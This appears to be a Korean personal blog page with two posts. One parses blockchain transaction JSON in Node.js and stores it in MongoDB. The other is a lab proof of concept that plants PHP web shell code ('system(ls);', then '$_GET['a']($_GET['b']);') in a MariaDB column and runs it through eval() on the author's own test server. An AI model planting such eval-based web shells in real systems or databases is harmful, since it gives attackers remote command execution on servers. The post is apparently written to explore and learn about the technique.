'2018/12/06'에 해당되는 글 2건

 

sample.json 데이터

 {
 "status":"1",
 "message":"OK",
 "result":[
  {
   "blockNumber":"4473164",
   "timeStamp":"1542787987",
   "hash":"0xac86d44f53a22e4b12853f5f8234f95b831e1521694c4072fd6a97b219ec3cb7",
   "nonce":"17012682",
   "blockHash":"0x4ee9b9d29f78f7aab230613f8827e9e070d5b60b2cd06d61e83b17aaaa5b1e67",
   "transactionIndex":"54",
   "from":"0x81b7e08f65bdf5648606c89998a9cc8164397647",
   "to":"0xff0797d06e8f9897b1d5066c10d9497ed7054a47",
   "value":"1000000000000000000",
   "gas":"21000",
   "gasPrice":"1000000000",
   "isError":"0",
   "txreceipt_status":"1",
   "input":"0x",
   "contractAddress":"",
   "cumulativeGasUsed":"6877760",
   "gasUsed":"21000",
   "confirmations":"104500"
                  }
    ]
}

result속의 데이터만 어떻게 가지고 올까 참 고민 많이 했다.

 

 var fs = require('fs');

console.log(result);
var initialData = fs.readFileSync('sample.json');
var TRList = JSON.parse(initialData);


var Result_data = [];
    for(var i=0; i<TRList.result.length; i++){
        var TR=TRList.result[i];
          var info = {
                  blockNumber: TR.blockNumber,
                  timestamp: TR.timestamp,

                  hash: TR.hash,
                  nonce: TR.nonce,

                  blockHash: TR.blockHash,
                  transactionIndex: TR.transactionIndex,

                  from: TR.from,
                  to: TR.to,

                  value: TR.value,
                  gas: TR.gas,

                  gasPrice: TR.gasPrice,
                  isError: TR.isError,

                  txreceipt_status: TR.txreceipt_status,
                  input: TR.input,

                  contractAddress: TR.contractAddress,
                  cumulativeGasUsed: TR.cumulativeGasUsed,

                  gasUsed: TR.gasUsed,
                  confirmations: TR.confirmations
        };
        Result_data.push(info);
    }
    var result={
        count: Result_data.length, // count
        Result_data: Result_data
    };
console.log(result);

TRList.result 저거 한줄을 못해서 ㅋㅋ 몇시간 동안 머한건지 ,,

 

 root@tkpark-VirtualBox:~/node# nodejs ex4.js
undefined
{ count: 1,
  Result_data:
   [ { blockNumber: '4473164',
       timestamp: undefined,
       hash: '0xac86d44f53a22e4b12853f5f8234f95b831e1521694c4072fd6a97b219ec3cb7',
       nonce: '17012682',
       blockHash: '0x4ee9b9d29f78f7aab230613f8827e9e070d5b60b2cd06d61e83b17aaaa5b1e67',
       transactionIndex: '54',
       from: '0x81b7e08f65bdf5648606c89998a9cc8164397647',
       to: '0xff0797d06e8f9897b1d5066c10d9497ed7054a47',
       value: '1000000000000000000',
       gas: '21000',
       gasPrice: '1000000000',
       isError: '0',
       txreceipt_status: '1',
       input: '0x',
       contractAddress: '',
       cumulativeGasUsed: '6877760',
       gasUsed: '21000',
       confirmations: '104500' } ] }
root@tkpark-VirtualBox:~/node#

 

이제 MongoDB에 집어 넣어 볼가?

var fs = require('fs');
var initialData = fs.readFileSync('sample.json');
var TRList = JSON.parse(initialData);
var mongoose = require('mongoose');
mongoose.connect('mongodb://test:12345@localhost:31337/test',
{
        useNewUrlParser: true
});
var db=mongoose.connection;
var PostSchema = new mongoose.Schema( {
        blockNumber: Number,
        timestamp: Date,
        hash: String,
        nonce: Number,
        blockHash: String,
        transactionIndex: Number,
        from: String,
        to: String,
        value: String,
        gas: Number,
        gasPrice: String,
        isError: Boolean,
        txreceipt_status: Number,
        input: String,
        contractAddress: String,
        cumulativeGasUsed: Number,
        gasUsed: Number,
        confirmations: Number
})
var Post = mongoose.model('Post',PostSchema);
var Result_data = [];
    for(var i=0; i<TRList.result.length; i++){
        var TR=TRList.result[i];
        var post_1 = new Post( {
                blockNumber: TR.blockNumber,
                timestamp: TR.timestamp,
                hash: TR.hash,
                nonce: TR.nonce,
                blockHash: TR.blockHash,
                transactionIndex: TR.transactionIndex,
                from: TR.from,
                to: TR.to,
                value: TR.value,
                gas: TR.gas,
                gasPrice: TR.gasPrice,
                isError: TR.isError,
                txreceipt_status: TR.txreceipt_status,
                input: TR.input,
                contractAddress: TR.contractAddress,
                cumulativeGasUsed: TR.cumulativeGasUsed,
                gasUsed: TR.gasUsed,
                confirmations: TR.confirmations
        });
                post_1.save(function (err) {
                if (err) return handleError(err);
                mongoose.disconnect();
        })
};

다 만들었다 거의 95%정도 완료 ...

save 부분에서 disconnet 해줘야지 백그라운드로 계속 프로세스가 돌지 않고

종료

 

 

 

 

DB에 박히는거 까지 확인

여기서는 조용해서 집중도 잘되고 문제 해결이 잘됨..

 

 

블로그 이미지

iesay

,

DB에 웹쉘코드 삽입 POC

2018. 12. 6. 11:48

php가변함수 참고 : https://demonteam.org/2018/07/18/php/

db에 웹쉘코드를 박고 실행이 될까 하는 의문점에서 시작한 POC

sql인젝션으로  DB에 웹쉘코드를 박고 활용하는 방안이다.

 

 

 root@tkpark-VirtualBox:/var/www/html# mysql -u root -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 43
Server version: 10.1.34-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> create user 'iesay'@'%' identified by '1234';
Query OK, 0 rows affected (0.00 sec)

MariaDB [(none)]> grant all on iesay.* to 'iesay'@'%';
Query OK, 0 rows affected (0.00 sec)

MariaDB [(none)]> flush privileges;
Query OK, 0 rows affected (0.00 sec)

 

 

 MariaDB [(none)]> use iesay
Database changed
MariaDB [iesay]> create table users (
    ->     idx int not null auto_increment primary key,
    ->     id char(20),
    ->     name varchar(100),
    ->     pw char(20)
    ->     );
Query OK, 0 rows affected (0.02 sec)

MariaDB [iesay]> show tables;
+-----------------+
| Tables_in_iesay |
+-----------------+
| users           |
+-----------------+

 

 MariaDB [iesay]> desc users;
+-------+----------+------+-----+---------+----------------+
| Field | Type     | Null | Key | Default | Extra          |
+-------+----------+------+-----+---------+----------------+
| idx   | int(11)  | NO   | PRI | NULL    | auto_increment |
| id    | char(20) | YES  |     | NULL    |                |
| name  | char(20) | YES  |     | NULL    |                |
| pw    | char(20) | YES  |     | NULL    |                |
+-------+----------+------+-----+---------+----------------+
4 rows in set (0.00 sec)

MariaDB [iesay]> insert into users(id, name, pw) values('admin', '관리자', 'toor');
Query OK, 1 row affected (0.00 sec)


 

 

 

MariaDB [iesay]> select * from users;
+-----+---------+-----------+------+
| idx | id      | name      | pw   |
+-----+---------+-----------+------+
|   1 | admin   | 관리자    | toor |
|  
+-----+---------+-----------+------+
1 rows in set (0.00 sec)
 

 

apt-get install php7.0-mysql

설치 후

phpinfo에서 PDO확인

 

 

MariaDB [iesay]> update users set name = "system(ls);" where id="admin";
Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

MariaDB [iesay]> select * from users;
+-----+---------+-------------+------+
| idx | id      | name        | pw   |
+-----+---------+-------------+------+
|   1 | admin   | system(ls); | toor |
|  
+-----+---------+-------------+------+
1 rows in set (0.00 sec)
 

 

 

 

1.php


 

session_start(); // 세션
include ("connect.php"); // DB접속


$query = "select * from users where id='admin' and pw='toor'";
$result = mysqli_query($con, $query);
$row = mysqli_fetch_array($result);

$a= $row['name'];


?>
 

 

 

2.php


<html>
<body>

<h1>Welcome to my home page!</h1>
<p>Some text.</p>
<p>Some more text.</p>
<?php include '1.php';
eval($a);
?>

</body>
</html>
 

 

 

eval함수를 이용한 웹쉘,,,

 

MariaDB [iesay]> update users set name = "$_GET['a']($_GET['b']);" where id="admin";
Query OK, 1 row affected (0.01 sec)
Rows matched: 1  Changed: 1  Warnings: 0
MariaDB [iesay]> select * from users;
+-----+---------+-------------------------+------+
| idx | id      | name                    | pw   |
+-----+---------+-------------------------+------+
|   1 | admin   | $_GET['a']($_GET['b']); | toor |
|  
+-----+---------+-------------------------+------+
1 rows in set (0.00 sec) 

 

 

 

http://192.168.0.118/2.php?a=system&b=uname%20-a

가변함수로도 사용 가능

 

 

 

 

 

 

 

 

 

'' 카테고리의 다른 글

promise  (0) 2019.03.28
정규식 표현 정리  (0) 2019.03.28
워드프레스 서버 이관  (0) 2018.09.03
PHPMailer 구글 SMTP 메일 보내기  (0) 2018.08.23
리눅스 서버 이관 작업  (0) 2017.10.26
블로그 이미지

iesay

,